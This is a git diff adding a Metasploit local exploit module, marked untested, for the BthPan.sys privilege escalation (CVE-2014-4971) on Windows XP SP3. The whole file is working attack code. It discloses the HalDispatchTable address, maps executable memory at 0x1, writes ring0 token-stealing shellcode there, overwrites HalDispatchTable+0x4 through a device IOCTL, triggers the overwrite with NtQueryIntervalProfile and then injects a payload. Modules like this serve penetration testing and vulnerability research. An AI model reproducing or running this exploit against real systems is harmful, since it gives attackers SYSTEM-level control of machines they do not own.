diff --git a/unstable-modules/exploits/untested/bthpan.rb b/unstable-modules/exploits/untested/bthpan.rb new file mode 100644 index 0000000000..37740a6ddc --- /dev/null +++ b/unstable-modules/exploits/untested/bthpan.rb @@ -0,0 +1,260 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Post::File + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation', + 'Description' => %q{ + A vulnerability within Microsoft Bluetooth Personal Area Networking module, + BthPan.sys, can allow an attacker to inject memory controlled by the attacker + into an arbitrary location. This can be used by an attacker to overwrite + HalDispatchTable+0x4 and execute arbitrary code by subsequently calling + NtQueryIntervalProfile. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matt Bergin ', # Vulnerability discovery and PoC + 'Jay Smith ' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'Windows XP SP3', {} ] + ], + 'References' => + [ + [ 'CVE', '2014-4971' ], + [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ] + ], + 'DisclosureDate' => 'Jul 18 2014', + 'DefaultTarget' => 0 + )) + end + + def add_railgun_functions + session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi') + session.railgun.add_function( + 'psapi', + 'EnumDeviceDrivers', + 'BOOL', + [ + ["PBLOB", "lpImageBase", "out"], + ["DWORD", "cb", "in"], + ["PDWORD", "lpcbNeeded", "out"] + ]) + session.railgun.add_function( + 'psapi', + 'GetDeviceDriverBaseNameA', + 'DWORD', + [ + ["LPVOID", "ImageBase", "in"], + ["PBLOB", "lpBaseName", "out"], + ["DWORD", "nSize", "in"] + ]) + end + + def open_device(dev) + invalid_handle_value = 0xFFFFFFFF + + r = session.railgun.kernel32.CreateFileA(dev, "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil) + + handle = r['return'] + + if handle == invalid_handle_value + return nil + else + return handle + end + end + + # @return [Array, nil] the address and driver name or nil + # if the driver name of 'krnl' isn't found + def find_sys_base + results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) + addresses = results['lpImageBase'][0, results['lpcbNeeded']].unpack("V*") + driver_array = nil + + addresses.each do |address| + results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) + current_drvname = results['lpBaseName'][0, results['return']] + if current_drvname.downcase.include?('krnl') + driver_array = [address, current_drvname] + break + end + end + + return driver_array + end + + def ring0_shellcode + tokenswap = "\x60\x64\xA1\x24\x01\x00\x00" + tokenswap << "\x8B\x40\x44\x50\xBB\x04" + tokenswap << "\x00\x00\x00\x8B\x80\x88" + tokenswap << "\x00\x00\x00\x2D\x88" + tokenswap << "\x00\x00\x00\x39\x98\x84" + tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8" + tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB" + tokenswap << [session.sys.process.getpid].pack('V') + tokenswap << "\x8B\x80\x88\x00\x00\x00" + tokenswap << "\x2D\x88\x00\x00\x00" + tokenswap << "\x39\x98\x84\x00\x00\x00" + tokenswap << "\x75\xED\x89\xB8\xC8" + tokenswap << "\x00\x00\x00\x61\xC3" + end + + def fill_memory(proc, address, length, content) + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + + unless proc.memory.writable?(address) + vprint_error("Failed to allocate memory") + return nil + end + vprint_good("#{address} is now writable") + + result = proc.memory.write(address, content) + + if result.nil? + vprint_error("Failed to write contents to memory") + return nil + end + vprint_good("Contents successfully written to 0x#{address.to_s(16)}") + + return address + end + + def disclose_addresses(t) + addresses = {} + + vprint_status("Getting the Kernel module name...") + kernel_info = find_sys_base + unless kernel_info + vprint_error("Failed to disclose the Kernel module name") + return nil + end + vprint_good("Kernel module found: #{kernel_info[1]}") + + vprint_status("Getting a Kernel handle...") + kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) + kernel32_handle = kernel32_handle['return'] + if kernel32_handle == 0 + vprint_error("Failed to get a Kernel handle") + return nil + end + vprint_good("Kernel handle acquired") + + vprint_status("Disclosing the HalDispatchTable...") + hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable") + hal_dispatch_table = hal_dispatch_table['return'] + if hal_dispatch_table == 0 + vprint_error("Failed to disclose the HalDispatchTable") + return nil + end + hal_dispatch_table -= kernel32_handle + hal_dispatch_table += kernel_info[0] + addresses["halDispatchTable"] = hal_dispatch_table + vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") + + return addresses + end + + def check + add_railgun_functions + + if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/ + return Exploit::CheckCode::Safe + end + + os = sysinfo["OS"] + return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i + + handle = open_device("\\\\.\\bthpan") + return Exploit::CheckCode::Safe unless handle + + session.railgun.kernel32.CloseHandle(handle) + + return Exploit::CheckCode::Vulnerable + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") + end + + handle = open_device("\\\\.\\bthpan") + if handle.nil? + fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device") + end + + my_target = targets[1] + print_status("Disclosing the HalDispatchTable address...") + @addresses = disclose_addresses(my_target) + if @addresses.nil? + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Unknown, "Filed to disclose necessary address for exploitation. Aborting.") + else + print_good("Address successfully disclosed.") + end + + print_status("Storing the shellcode in memory...") + this_proc = session.sys.process.open + kernel_shell = ring0_shellcode + kernel_shell_address = 0x1 + + buf = "\x90" * 0x6000 + buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400 + buf[0x5000, kernel_shell.length] = kernel_shell + + result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) + if result.nil? + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + end + print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") + + print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0) + session.railgun.kernel32.CloseHandle(handle) + + print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") + session.railgun.ntdll.NtQueryIntervalProfile(2, 4) + + print_status("Checking privileges after exploitation...") + + unless is_system? + fail_with(Failure::Unknown, "The privilege escalation wasn't successful") + end + print_good("Privilege escalation successful!") + + p = payload.encoded + print_status("Injecting #{p.length} bytes to memory and executing it...") + unless execute_shellcode(p) + fail_with(Failure::Unknown, "Error while executing the payload") + end + end +end +